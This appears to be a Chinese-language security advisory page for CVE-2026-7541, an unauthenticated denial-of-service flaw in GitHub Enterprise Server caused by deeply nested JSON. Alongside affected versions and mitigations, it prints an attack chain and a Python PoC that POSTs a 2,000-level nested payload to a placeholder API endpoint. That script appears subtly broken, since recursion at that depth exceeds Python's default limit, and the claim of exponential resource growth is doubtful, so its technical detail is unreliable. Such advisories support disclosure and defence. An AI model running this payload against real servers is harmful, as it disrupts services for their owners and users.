IPBUF安全漏洞报告
English
CVE-2026-7541 CVSS 7.5 高危

CVE-2026-7541 GitHub Enterprise Server 拒绝服务漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-7541
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

拒绝服务DoSGitHub Enterprise ServerCVE-2026-7541JSON解析资源耗尽

漏洞概述

GitHub Enterprise Server 存在一处严重的拒绝服务漏洞。由于未认证的 API 端点在解析用户控制的 JSON 请求体时,未对大小或深度进行有效限制,未经身份验证的攻击者可利用此漏洞发送构造的深度嵌套 JSON 恶意请求。这将导致服务器过度消耗 CPU 和内存资源,最终引发服务中断。该漏洞影响特定旧版本,官方已发布修复补丁。

技术细节

该漏洞的根本原因在于 GitHub Enterprise Server 处理未认证 API 请求时的 JSON 解析器缺乏必要的深度和大小限制。在解析 JSON 对象时,应用程序未对递归层级进行防护,攻击者可以构造特制的 HTTP POST 请求,其中包含极深层的嵌套 JSON 数据结构(如多层嵌套的 Object 或 Array)。当服务器尝试解析这些恶意载荷时,递归算法会消耗大量的堆栈空间和 CPU 时间片。随着嵌套深度的增加,资源消耗呈指数级增长,最终导致服务器进程崩溃或系统无响应(OOM)。由于该接口无需身份验证,任何能够连接到服务端的攻击者均可利用此漏洞实施拒绝服务攻击,严重影响系统可用性。

攻击链分析

STEP 1
侦查
攻击者扫描网络,识别 GitHub Enterprise Server 的服务实例及其未认证的 API 端点。
STEP 2
构造载荷
攻击者编写脚本生成具有极深嵌套层级的 JSON 数据结构。
STEP 3
发送请求
攻击者向目标 API 端点发送包含恶意 JSON 载荷的 HTTP POST 请求。
STEP 4
资源耗尽
服务器解析器在处理深层嵌套时消耗大量 CPU 和内存,导致服务无响应或崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json def generate_nested_json(depth): """Generate a deeply nested JSON payload.""" if depth == 0: return "value" return {"key": generate_nested_json(depth - 1)} def exploit(target_url): """Send the malicious payload to the target.""" # Create a payload with significant depth to trigger the DoS payload = generate_nested_json(2000) headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending payload to {target_url}") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"[+] Status Code: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - possible successful DoS") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint target = "http://target-enterprise-server/api/v3/endpoint" exploit(target)

影响范围

GitHub Enterprise Server < 3.21
GitHub Enterprise Server 3.20.x < 3.20.2
GitHub Enterprise Server 3.19.x < 3.19.6
GitHub Enterprise Server 3.18.x < 3.18.9
GitHub Enterprise Server 3.17.x < 3.17.15
GitHub Enterprise Server 3.16.x < 3.16.18

防御指南

临时缓解措施
如果无法立即升级补丁,建议在反向代理或 WAF 层面限制 HTTP 请求体的大小(Max Body Size)以及 JSON 解析的最大深度。同时,暂时禁用非必要的未认证 API 端点访问,以降低攻击面。

参考链接